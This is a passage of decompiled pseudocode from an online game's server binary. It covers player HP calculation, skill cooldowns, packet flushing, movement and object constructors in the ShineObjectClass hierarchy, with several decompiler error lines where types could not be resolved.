v9->dl_FilePointer = 0; } } } } } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F18F0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::sm_GetNextSkillID(int this) { return *(_WORD *)(this + 7612); } //----- (004F1900) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::sm_SetNextSkillID(int this, __int16 skillid) { __int16 result; // ax@1 result = skillid; *(_WORD *)(this + 7612) = skillid; return result; } //----- (004F1910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_JustAttackedFlagSet(int this) { *(_BYTE *)(this + 8848) |= 8u; } //----- (004F1920) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MaxHP(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // edi@1 int v5; // eax@1 int v6; // edx@1 int v7; // edi@1 int v8; // eax@2 MobDataBox::MobDataBoxIndex *v9; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1160))(); v3 = (*(int (__thiscall **)(int, void *, char *))(*(_DWORD *)v2 + 32))(v2, v1, (char *)v1 + 6948); v4 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1120))(v1) + 5) + v3; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 932) = ((signed int)((unsigned __int64)(v4 * (*(_DWORD *)(v5 + 2492) + *((_WORD *)v1 + 45851) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v4 * (*(_DWORD *)(v5 + 2492) + *((_WORD *)v1 + 45851) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v7 = (*(int (__thiscall **)(void *))(v6 + 1052))(v1); *((_DWORD *)v1 + 932) += *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1) + 336) + *(_DWORD *)(v7 + 2296); if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1) + 3140) != -1 ) { v8 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1); v9 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v8 + 3140)); if ( v9 ) *((_DWORD *)v1 + 932) = v9->data->MaxHP; } return *((_DWORD *)v1 + 932); } //----- (004F1A10) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTime(int this, int skill, int cooltime_milli, int delaygroupnum, int delaygroupcooltime_milli, int empowdiscount) { int v6; // edi@1 unsigned int result; // eax@2 unsigned int v8; // esi@3 unsigned int v9; // eax@3 v6 = this; if ( ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(this) ) { result = (*(int (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v6 + 884))(v6, skill, 0); } else { v8 = (unsigned int)(cooltime_milli * SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; v9 = SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE); CharaterSkillList::csl_SetCoolTime( (CharaterSkillList *)(v6 + 68240), skill, v8, delaygroupnum, (unsigned int)(delaygroupcooltime_milli * v9 * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6, empowdiscount); result = SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_COOLTIMERATE); if ( result != 1000 ) result = (*(int (__thiscall **)(int, int, unsigned int))(*(_DWORD *)v6 + 884))( v6, skill, ((signed int)((unsigned __int64)((signed int)(v8 - empowdiscount) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((signed int)(v8 - empowdiscount) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31)); } return result; } //----- (004F1AD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetIsQuestRewardReq(int this) { return *(_BYTE *)(this + 92696); } //----- (004F1AE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetIsQuestRewardReq(int this, char IsQuestRewardReq) { char result; // al@1 result = IsQuestRewardReq; *(_BYTE *)(this + 92696) = IsQuestRewardReq; return result; } //----- (004F1AF0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_AllocationZ(List *this, unsigned __int16 *hnd) { unsigned __int16 v2; // ax@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@2 v2 = this->l_Finger.empty; if ( v2 == -1 ) { result = 0; } else { *hnd = v2; result = (AbnormalStateContainer::AbstateElementInObject *)((int (__stdcall *)(_WORD))this->vfptr->l_AllocZ)(v2); } return result; } //----- (004F1B10) -------------------------------------------------------- #error "4F1B10: undefined or illegal type '#331' (funcsize=43)" //----- (004F1B80) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)ShineObjectManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5C24E0: using guessed type int (__stdcall *ShineObjectManager___vftable_[3])(__int16 hnd); //----- (004F1BA0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (004F1BC0) -------------------------------------------------------- int __thiscall _vcall_(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 1176))(); } //----- (004F1BD0) -------------------------------------------------------- void __thiscall VectorClass::UnitVector::UnitVector(VectorClass::UnitVector *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b) { VectorClass::VectorWithLength *v3; // esi@1 int v4; // ST04_4@1 int v5; // ST00_4@1 v3 = (VectorClass::VectorWithLength *)this; this->baseclass_0.baseclass_4.v_x = a->x - b->x; this->baseclass_0.baseclass_4.v_y = a->y - b->y; v4 = this->baseclass_0.baseclass_4.v_y; v5 = this->baseclass_0.baseclass_4.v_x; this->baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->baseclass_0.vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v5, v4); v3->vfptr = (VectorClass::VectorWithLengthVtbl *)VectorClass::UnitVector::_vftable_; VectorClass::VectorWithLength::vwl_Scale(v3, 32); } // 5A21E8: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 5C24FC: using guessed type int (__stdcall *VectorClass__UnitVector___vftable_[2])(int sklidx); //----- (004F1C20) -------------------------------------------------------- void __thiscall PacketContainer::pcb_SetSocketSession(ORField *this, ORColumnHeader *hd) { this->orf_Header = hd; } //----- (004F1C30) -------------------------------------------------------- char __thiscall PacketContainerBase::pcb_Flush(PacketContainerBase *this, ClientSession *session) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainerBase::pcb_Flush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainerBase::pcb_Flush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainerBase::pcb_Flush"); return 1; } //----- (004F1C80) -------------------------------------------------------- char __thiscall PacketContainer::pcb_Flush(PacketContainer *this, ClientSession *session) { PacketContainer *v2; // esi@1 int v3; // edi@1 char v4; // al@1 char v5; // bl@1 v2 = this; v3 = this->pc_Pointer; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainer::pcb_Flush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainer::pcb_Flush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = v3; v4 = PacketContainer::pcb_Flush_Try_Catch(v2, session); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainer::pcb_Flush"); return v5; } //----- (004F1D30) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_PacketBufferFlush() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_PacketBufferFlush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_PacketBufferFlush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_PacketBufferFlush"); return 1; } //----- (004F1D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_FillBriefInformation(ShineObjectClass::ShineEffectObject *this, void *array) { PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *v2; // esi@1 v2 = this->seo_EffectBriefInfo.bie_BriefInfo; *(_WORD *)array = v2->handle; Name8::operator_((int)((char *)array + 2), (int)&v2->effectname); *(_DWORD *)((char *)array + 34) = v2->coord.xy.x; *(_DWORD *)((char *)array + 38) = v2->coord.xy.y; *((_BYTE *)array + 42) = v2->coord.dir; *(_WORD *)((char *)array + 43) = v2->detach; *(_WORD *)((char *)array + 45) = v2->scale; } //----- (004F1DE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_itempicked(ShineObjectClass::ShineDropItem *this) { ItemTotalInformation::iti_clear(&this->sdi_ItemOnField); } //----- (004F1DF0) -------------------------------------------------------- #error "4F1DF0: undefined or illegal type '#331' (funcsize=115)" //----- (004F1F10) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(PROTO_NC_CHAR_WEDDINGDATA_ACK *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed((MemoryQueueGuildReName *)&this->Partner); } //----- (004F1F20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::ShineObject(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = ShineObjectClass::ShineObject::_vftable_; MoveManager::MoveManager((DiceTaiSai *)(this + 4)); ShineObjectClass::ShineObject::__unnamed::__unnamed(v1 + 6); *(_DWORD *)(v1 + 10) = v1; *(_DWORD *)(v1 + 22) = v1 + 6; *(_DWORD *)(v1 + 18) = v1; *(_DWORD *)(v1 + 34) = v1 + 14; *(_DWORD *)(v1 + 94) = v1 + 86; *(_DWORD *)(v1 + 98) = 0; *(_DWORD *)(v1 + 78) = &ShineObjectClass::ShineObject::so_TempLocation; *(_DWORD *)(v1 + 82) = &unk_1246F1F0; *(_DWORD *)(v1 + 86) = 0; *(_BYTE *)(*(_DWORD *)(v1 + 94) + 4) = 0; return v1; } // 4F07F0: using guessed type int __thiscall ShineObjectClass__ShineObject____unnamed____unnamed(_DWORD); // 5BF990: using guessed type int (*ShineObjectClass__ShineObject___vftable_[4])(); //----- (004F1FB0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_DamageLog(int spot, int hpchangeorder, int damage, int resthp) { int result; // eax@1 _iobuf *v5; // esi@2 result = 1; if ( !(_S51_4 & 1) ) { _S51_4 |= 1u; v5 = fopen("Dbg.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); EraseOldLogList("DamageLog"); result = atexit(_E52_4); } return result; } //----- (004F2040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 98) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect"); } //----- (004F20A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineObject::so_FirstActionAfterSocketConnect(v1); **((_BYTE **)v1 + 929) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_FirstActionAfterSocketConnect"); } //----- (004F2140) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Logout(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Logout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Logout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v1 + 26) + 4) + 1572))() != v1 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v1 + 30) + 4) + 1572))() != v1 ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 20))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Logout"); } //----- (004F2200) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int axialfunc, int a3, int a4, int a5, int tome) { void *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 bool v9; // zf@2 int v10; // edx@2 int v11; // ebx@3 int v12; // ecx@3 int (__thiscall *v13)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edx@3 char v14; // al@3 char result; // al@3 FunctionEntarance _; // [sp+8h] [bp-20h]@1 int v17; // [sp+10h] [bp-18h]@2 int v18; // [sp+14h] [bp-14h]@2 int v19; // [sp+18h] [bp-10h]@2 int v20; // [sp+24h] [bp-4h]@1 v6 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::so_AllInMap0"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMap0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)((char *)v6 + 98); v20 = 0; if ( !v7 || (v8 = v7 + 88, v9 = *(_DWORD *)v8 == 0, v17 = *(_DWORD *)(v8 + 4), v10 = *(_DWORD *)(v8 + 12), v18 = *(_DWORD *)(v8 + 8), v19 = v10, v9) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); result = 0; } else { v11 = *(_DWORD *)(v8 + 8); v12 = *(_DWORD *)(v8 + 4); v13 = *(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v8; v19 = *(_DWORD *)(v8 + 12); v18 = v11; v14 = v13((char *)v6 + v12, axialfunc, a3, a4, a5, tome); --funcallanalizer.fca_stackpoint; LOBYTE(v11) = v14; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap0"); result = v11; } return result; } //----- (004F2330) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllInMap(void *this, int ala, int tome) { void *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 char v6; // al@3 char v7; // bl@3 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllInMap1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)((char *)v3 + 98); if ( v4 && (v5 = v4 + 104, *(_DWORD *)v5) ) { v6 = (*(int (__thiscall **)(char *, int, int))v5)((char *)v3 + *(_DWORD *)(v5 + 4), ala, tome); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllInMap1"); result = 0; } return result; } //----- (004F2440) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int axialfunc, int a7, int a8, int a9, int tome, int excepter) { void *v11; // esi@1 int v12; // edi@1 int v13; // eax@2 int v14; // eax@3 int v15; // eax@4 int v16; // eax@7 int v17; // eax@8 char v18; // al@9 char v19; // bl@9 char result; // al@9 v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRange_Class0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = range; if ( !range ) { v13 = *(_DWORD *)((char *)v11 + 98); if ( v13 && (v14 = *(_DWORD *)(v13 + 16)) != 0 ) v15 = *(_DWORD *)(v14 + 68); else v15 = 0; v12 = v15; } v16 = *(_DWORD *)((char *)v11 + 98); if ( v16 && (v17 = v16 + 120, *(_DWORD *)v17) ) { v18 = (*(int (__thiscall **)(char *, int, int, int, int, int, int, int, int, int, int))v17)( (char *)v11 + *(_DWORD *)(v17 + 4), event, center, v12, fansector, axialfunc, a7, a8, a9, tome, excepter); --funcallanalizer.fca_stackpoint; v19 = v18; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); result = v19; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class0"); result = 0; } return result; } //----- (004F25B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange(void *this, int event, int center, int range, int fansector, int ala, int tome, int excepter) { void *v8; // esi@1 int v9; // edi@1 int v10; // eax@2 int v11; // eax@3 int v12; // eax@4 int v13; // eax@7 int v14; // eax@8 char v15; // al@9 char v16; // bl@9 char result; // al@9 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRange_Class1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = range; if ( !range ) { v10 = *(_DWORD *)((char *)v8 + 98); if ( v10 && (v11 = *(_DWORD *)(v10 + 16)) != 0 ) v12 = *(_DWORD *)(v11 + 68); else v12 = 0; v9 = v12; } v13 = *(_DWORD *)((char *)v8 + 98); if ( v13 && (v14 = v13 + 136, *(_DWORD *)v14) ) { v15 = (*(int (__thiscall **)(char *, int, int, int, int, int, int, int))v14)( (char *)v8 + *(_DWORD *)(v14 + 4), event, center, v9, fansector, ala, tome, excepter); --funcallanalizer.fca_stackpoint; v16 = v15; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); result = v16; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRange_Class1"); result = 0; } return result; } //----- (004F2700) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShineObject::so_mapindex(void *this) { void *v1; // esi@1 int v2; // ecx@1 signed __int16 v3; // si@2 unsigned int v4; // eax@3 char *v5; // eax@3 unsigned int v6; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mapindex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mapindex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); if ( v2 ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v2; *((_DWORD *)v5 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v2 + 8); v5[12] = 0; v6 = BTree::operator__(&mapdatabox.mdb_btree, v5); v3 = -1; if ( v6 != -1 ) v3 = v6; } else { v3 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mapindex"); return v3; } //----- (004F27E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::ShineDropItem(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineDropItem::_vftable_; BriefInformationDropItem::BriefInformationDropItem(&v1->sdi_ItemBriefInfo); *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->sdi_loginloc.currentmap.n3_name[0] = 0; *(_DWORD *)&v1->gap0[78] = (char *)v1->sdi_ItemBriefInfo.bidi_BriefInfo + 4; *(_DWORD *)&v1->gap0[82] = &unk_1246F1F0; } // 5C04C0: using guessed type int (*ShineObjectClass__ShineDropItem___vftable_)(); //----- (004F2850) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::ShineEffectObject(ShineObjectClass::ShineEffectObject *this) { ShineObjectClass::ShineEffectObject *v1; // esi@1 PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineEffectObject::_vftable_; BriefInformationEffect::BriefInformationEffect(&v1->seo_EffectBriefInfo); *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->seo_LoginLoc.currentmap.n3_name[0] = 0; Metronome::Metronome(&v1->seo_DetachCheck); v2 = v1->seo_EffectBriefInfo.bie_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 34; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 42; } // 5C0F20: using guessed type int (*ShineObjectClass__ShineEffectObject___vftable_)(); //----- (004F29C0) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineMobileObject::GetRTTI() { return &ShineObjectClass::ShineMobileObject::m_RTTI; } //----- (004F29D0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMobileObject::so_SetLastBattle(int this) { unsigned int result; // eax@1 result = clockwatch.cw_CurrTick; *(_DWORD *)(this + 4000) = clockwatch.cw_CurrTick; return result; } //----- (004F29E0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_isinbattle(int this) { return *(_DWORD *)(this + 4000) + 100 >= clockwatch.cw_CurrTick; } //----- (004F2A00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_CharacterClass(int this) { return *(_DWORD *)(this + 4004); } //----- (004F2A10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_SpyAgent(void *this) { return (int)((char *)this + 3736); } //----- (004F2A20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_AbstateList(void *this) { return (int)((char *)this + 204); } //----- (004F2A30) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInMoving(int this) { return *(_DWORD *)(this + 172) != 0; } //----- (004F2A40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Move2Where(void *this) { return (int)((char *)this + 160); } //----- (004F2A50) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_OverlapFactor(void *this) { return (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() != 3; } //----- (004F2A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SendMyMoveInfo(int this, int a2) { int v2; // edi@1 char *v3; // ecx@2 char *v4; // esi@2 __int16 v5; // ax@2 int v6; // ecx@2 int v7; // eax@2 v2 = this; if ( *(_WORD *)(this + 102) ) { v3 = gpp.pp_Buffer; v4 = gpp.pp_Buffer + 2; v5 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2000; *(_WORD *)gpp.pp_Buffer = v5; *(_WORD *)v3 = v5 ^ (v5 ^ *(_WORD *)(v2 + 102)) & 0x3FF; ProtocolPacket::pp_SetPacketLen(&gpp, 24); *(_DWORD *)v4 = *(_DWORD *)(v2 + 104); *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 108); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 112); *((_DWORD *)v4 + 3) = *(_DWORD *)(v2 + 116); *((_DWORD *)v4 + 4) = *(_DWORD *)(v2 + 120); *((_WORD *)v4 + 10) = *(_WORD *)(v2 + 124); v6 = *(_DWORD *)(v2 + 78); *(_DWORD *)(v4 + 2) = *(_DWORD *)v6; *(_DWORD *)(v4 + 6) = *(_DWORD *)(v6 + 4); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, a2, &gpp); } } //----- (004F2B20) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineMobileObject::so_Getabstatebit() { return &ShineObjectClass::ShineMobileObject::AS::tempbit; } //----- (004F2B30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParamReady(int this) { *(_BYTE *)(this + 3708) = 1; } //----- (004F2B40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_batobj_DamageApply(int this, int damage) { int v2; // edx@1 v2 = *(_DWORD *)(this + 7168) - damage; *(_DWORD *)(this + 7168) = v2; if ( v2 < 0 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_batobj_DamageApply", 0); } //----- (004F2B70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_batobj_GetDamage(int this) { return *(_DWORD *)(this + 7168); } //----- (004F2B80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_Reset(AbnormalStateInfo::ABSTATEINDEX this, int stateid) { return AbnormalStateContainer::AbstateListInObject::asl_AbstateReset((#331 *)(this + 204), this); } //----- (004F2BA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_parameter(void *this) { return (int)((char *)this + 4008); } //----- (004F2BB0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::smo_DuringCast(int this) { return *(_DWORD *)(this + 7172) != 0; } //----- (004F2BC0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_WhoIsKillMe(int this) { return *(_WORD *)(this + 130); } //----- (004F2BE0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetClicker(int this, __int16 clicker) { __int16 result; // ax@1 result = clicker; *(_WORD *)(this + 132) = clicker; return result; } //----- (004F2BF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_YouHaveAlreadyDead(int this) { *(_BYTE *)(this + 7164) = 1; } //----- (004F2C00) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::so_AmIAlreadyDead(void *this) { return *((_BYTE *)this + 7164) || !(*(int (**)(void))(*(_DWORD *)this + 1236))(); } //----- (004F2C30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveState(int this) { return *(_DWORD *)(this + 144); } //----- (004F2C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcSpeed(int this, int newspeed) { MoveManager::mm_RecalcSpeed((MoveManager *)(this + 140), newspeed); } //----- (004F2C50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_SPCheckConsume(void *this, __int16 skill, int sklinf, int empow) { void *v4; // esi@1 char result; // al@2 unsigned int 